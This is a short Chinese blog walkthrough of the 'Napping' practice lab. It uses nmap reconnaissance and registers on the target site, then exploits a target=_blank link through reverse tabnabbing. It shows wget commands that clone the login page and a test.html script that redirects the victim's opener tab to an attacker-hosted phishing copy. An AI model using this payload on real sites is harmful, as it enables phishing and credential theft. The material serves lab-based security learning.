Napping靶场实战

最新推荐文章于 2025-12-28 16:49:38 发布

原创最新推荐文章于 2025-12-28 16:49:38 发布 · 311 阅读

3 ·

CC 4.0 BY-SA版权

文章标签：

#网络 #运维

通过nmap搜索到靶机ip和开放端口，我们尝试访问80端口

发现是登录界面且可以注册，我们注册尝试

登录后发现可以提交页面，提交完链接后点击here即可跳转到链接界面

查了下发现使用a标签和target=_blank可以构成Reverse Tabnabbing钓鱼

在/var/www/html目录下放两个html文件，一个为站点首页(index.html)，一个为钓鱼界面(test.html)

在kali上wget下载的网站首页文件为.php，需要重命名为.html

wget http://172.16.2.74/index.php
mv index.php index.html

vim test.html
<!DOCTYPE html>
<html>
<body>
    <script>
    	if(window.opener) window.opener.parent.location.replace('http://192.168.1.100:666/index.html');
    	if(window.opener  != window)  window.opener.parent.location.replace('http://192.168.1.100:666/index.html');
    </script>
</body>
</html>